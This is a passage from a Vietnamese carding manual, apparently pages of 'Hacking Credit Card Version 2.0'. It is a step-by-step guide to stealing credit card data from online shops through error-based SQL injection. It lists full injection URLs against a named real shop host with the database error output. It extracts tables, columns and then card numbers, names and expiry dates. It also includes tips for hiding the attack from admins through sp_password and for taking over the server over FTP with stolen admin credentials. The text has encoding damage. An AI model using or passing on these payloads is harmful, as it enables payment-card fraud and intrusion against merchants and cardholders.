HACK SHOP LẤY CREDITCARD BẰNG LỖI INJECTION SQL CHI TIẾT NHẤT-CĨ SHOP THỰC HÀNH

Một phần của tài liệu Tài liệu Hacking Credit Card Version 2.0 ppt (Trang 46 - 50)

CHI TIẾT NHẤT-CĨ SHOP THỰC HÀNH

- Tìm và xác định lỗi Injection SQL:

Đến nay vẫn chưa cĩ một từ khố nào giúp các bạn tìm ra shop sử dụng SQL, vì vậy cần xác định site shop dùng SQL để hack, thường thì nên dùng từ khố "shopping asp", "Product", "VP-ASP shopping"...

Sau khi tìm được shop dùng SQL, tại câu lệnh cĩ đoạn cuối tương tự sau: store/viewProduct.asp?ec_products=6620 ta kiểm tra lỗi bằng cách thêm dấu (Ổ) vào sau dấu (=),

vắ dụ:http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620'

Nếu hiện thơng báo lỗi (chú ý chỗ in đậm):

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ' ORDER BY viewOrder ASC'.

/store/viewProduct.asp, line 114

Nghĩa là site này bị lỗi Injection SQL, ta cĩ thể hack. - Cấu trúc câu lệnh để hack: Url victim+câu lệnh

Vắ dụ:http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1% 20table_name%20from%20information_schema.tables))--sp_password

- Đây là 3 câu lệnh cơ bản bạn cần dùng trong quá trình hack lỗi Injection SQL: 1/ Câu lấy table:

%20%2bconvert(int,(select%20top%201%20table_name%2 0from%20information_schema.tables))--sp_password Dùng để lấy table tiếp theo:

%20%2bconvert(int,(select%20top%201%20table_name%2 0from%20information_schema.tables%20where% 20table_name%20not%20in('table_đã_cĩ')))--sp_password

2/ Câu lấy column:

%20%2bconvert(int,(select%20top%201%20column_name% 20from%20information_schema.columns%20where% 20table_name%20='table_cần_lấy_column'))--sp_password

Dùng để lấy column tiếp theo:

%20%2bconvert(int,(select%20top%201%20column_name% 20from%20information_schema.columns%20where% 20table_name%20='table_cần_lấy_column'%20and%20column_name%20not%20in('co lumn_bạn_đã_cĩ)))-

sp_password

3/ Câu khai thác dữ liệu:

%20%2bconvert(int,(select%20top%201tên_column%2B'/'%2btên_column%20from tên_table_muốn_khai_thác))-- sp_password

Để khai thác dữ liệu kế tiếp trên cùng một table bằng:where tên_column not in

%20%2bconvert(int,(select%20top%201têncolumn%2B'/'%2btêncolum%20from%20tên_table_khai_thác%20where% 20tên_colum_chứa_dữ_liệu_đã_cĩ%20not%20in('dữ_liệu_đã_cĩ_của_column_khai_báo_phắa_trước)))--sp_password Chú ý: Phải dùng -sp_password để admin khơng phát hiện được

I/ Xem xét site sau: Các bạn cĩ thể copy các đoạn link màu đỏ cho chạy trên IE để theo dõi kết quả hướng dẫn.

http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620'

Cĩ lỗi Injection SQL II/ Lấy table:

1/ Lấy table đầu tiên:

http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1% 20table_name%20from%20information_schema.tables))--sp_password

Kết quả:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'donations' to a column of data type int. (adsbygoogle = window.adsbygoogle || []).push({});

/store/viewProduct.asp, line 114 'donations' là table đầu tiên

2/ Lấy table kế tiếp:http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select% 20top%20 1%20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in

('donations' )))--sp_password Kết quả:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Editor' to a column of data type int.

/store/viewProduct.asp, line 114 'Editor' là table thứ 2 3/ Table thứ 3: http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1% 20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in ('donations' ,'Editor')))--sp_password Kết quả:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'bills' to a column of data type int.

/store/viewProduct.asp, line 114

Và các bạn làm tương tự để lấy hết table, đến khi khơng xuất hiện thêm table là hết. Kết quả:

http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1% 20table_name%20from%20information_schema.tables%20where%20table_name%20not%20in

('donations' ,'Editor','bills','bills_20040213','billsCandidate s','billsCandidates_20040213','billsCandidatesImpo rt','candidates','candidates_20040213','candidates New','contribute','dtproperties','ec_categories',' ec_orders','ec_priceBreaks','ec_products','ec_regi on','ec_shippers','ec_shippingOrders','ec_supplier s','ec_territory','Editor_letters','Editor_queue', 'Editor_recipients','emailUpdates','MinnesotaHouse RollCallVotes','MinnesotaSenateRollCallVotes','off ices','parties','party','Postcards','PostcardsBlac klist','ppmsd','sbEntries','siteSection','storetem p','stories','storyCategories','subjects','syscons traints','syssegments','tblConstitutionalOfficerSl ate','tblConstitutionalOfficerSlate$','tblStateLeg 2002_Query','users','users_choice','vw_contribute_ pending','vw_contribute_processed')))--sp_password II/ Lấy column:

1/ Khai thác column đầu tiên trong table 'ec_orders':

http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1% 20column_name%20from%20information_schema.columns%20where%20table_name%20='ec_orders'))-- sp_password

Kết quả:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'firstname' to a column of data type int.

/store/viewProduct.asp, line 114

'firstname' là column đầu tiên trong table 'ec_orders' 2/ Lấy column tiếp theo:

http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1% 20column_name%20from%20information_schema.columns%20where%20table_name%20='ec_orders'%20and% 20column_name%20not%20in('firstname')))--sp_password

Kết quả:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'lastname' to a column of data type int.

/store/viewProduct.asp, line 114

3/ Làm tương tự để khai thác hết column của table này: Kết quả: http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1% 20column_name%20from%20information_schema.columns%20where%20table_name%20='ec_orders'%20and% 20column_name%20not%20in ('firstname','lastname','email','orgName','address','city','state','zip','tele_areacode','tele_first','tele_last','credit_card','card _number','ExpDate_month','ExpDa te_year','timestamp','shippedDate','orderNumber','shipped','billing_firstname','billing_lastname'lastname', 'billing_email','billing_orgName','billing_address ','billing_city','billing_state','billing_zip','bi lling_tele_areacode','billing_tele_first','billing _tele_last','nameOnCard','survey_nameOfPerson','survey_materials','survey_ emailAddress','survey_findMethod','survey_interest ed','po_number')))--sp_password III/ Khai thác CC:

Các bạn chú ý các column quan trọng trong table 'ec_orders' đã được in đậm: 1/ Khai thác 'credit_card','card_number' trong 'ec_orders' :

http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1% 20credit_card%2b'/'%2bcard_number%20from%20ec_orders))--sp_password

Các bạn dùng link trên để xem kết quả (vì nội quy của From nên khơng đưa kết quả ra) Tương tự, lấy kết quả kế tiếp:

http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1% 20credit_card%2b'/'%2bcard_number%20from%20ec_orders%20where%20card_ number%20not%20in ('card_number-bạn_đã_cĩ_ở_trên')))--sp_password

Số column truy vấn tùy thuộc vào ý thắch của mỗi bạn. Dùng %2b'/'%2b nghĩa là hiển thị kết quả cĩ phân cách bằng dấu (/) để dễ nhận biết. (adsbygoogle = window.adsbygoogle || []).push({});

Các bạn lưu ý: số column truy vấn càng nhiều thì khả năng truy xuất dữ liệu càng thấp vì câu lệnh khơng hiểu những khoảng trống khơng cĩ dữ liệu. Tốt nhất là thử với 1 column kiểm tra kết quả, sau đĩ thêm column kế tiếp vào câu lệnh truy xuất.

Câu lệnh truy xuất hồn chỉnh trong table ec_orders của site này (các bạn dùng link này để xem kết qu&#7843 :

http://ppmsddev.ctsg.com/store/viewProduct.asp?ec_products=6620%20%2bconvert(int,(select%20top%20 1% 20firstname%2b'/'%2blastname%2b'/'%2bemail%2b'/'%2borgName%2b'/'%2baddress%2b'/'%2bcredit_card%2b'/'% 2bcard_number%2b'/'%2bExpDate_month%2b'/'%2bExpDate_year%2b'/'%2bnameOnCard%2b'/'%2bcity%2b'/'% 2bstate%2b'/'%2bzip%20from%20ec_orders))--sp_password

Tương tự bạn cĩ thể làm với các table khác để lấy dữ liệu của admin, customer... IV/ Một số kinh nghiệm trong quá trình hack shop bằng lỗi Injection SQL:

- Sau khi phát hiện site lỗi Injecton SQL, bạn nên mua thử một mĩn hàng nào đấy trên site này để kiểm tra các thơng tin sau: cĩ cho phép dùng CC mua khơng, CC cĩ cvv2, thanh tốn online trên site bị lỗi hay trên một site khác, customer đăng nhập mua hàng cĩ dùng password khơng...tất cả những thơng tin liên quan đến việc mua bán để xác định cĩ nên hack site này khơng.

- Nên khai thác đầu tiên là creditcard_number , nếu khơng cĩ, cĩ khả năng site đã fix dữ liệu hoặc dùng một site khác để thanh tốn.

- Khi lấy được user/pass của admin cần dùng nĩ để đăng nhập server với giao thức ftp, vắ dụ:ftp://ppmsddev.ctsg.com/, nếu maymắn bạn cĩ thể làm chủ server và khơng cần phải phắ cơng nhiều trong khi hack.

- Thường các site này hay dấu link để đăng nhập quyền admin, bạn cần chịu khĩ tìm, và dùng chương trình scan Url của trang này để tìm trang đăng nhập.

- Cĩ một số trường hợp, site bị lỗi Injectjon nhưng hiện trang báo lỗi: The page cannot be displayed, bạn cần chú ý phắa bên dưới để phát hiện thơng báo lỗi của Injection SQL, vắ dụ: The page cannot be displayed

There is a problem with the page you are trying to reach and it cannot be displayed. ...

HTTP 500.100 - Internal Server Error - ASP error Internet Information Services

Technical Information (for support personnel) Error Type:

Provider ('80040e14') Type mismatch.

/shopping/shop$db.asp, line 875 Browser Type:

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Page:

GET /shopping/shopdisplayproducts.asp Time:

Friday, February 27, 2004, 11:20:19 PM More information:

Microsoft Supporthttp://www.microsoft.com/ContentRedirect.asp?

prd=iis&sbp=&pver=5.0&ID=500;100&cat=Provider&os=&over=&hrd=&Opt1=&Opt2=% 2D2147352571&Opt3=Type+mismatch%2E

Một phần của tài liệu Tài liệu Hacking Credit Card Version 2.0 ppt (Trang 46 - 50)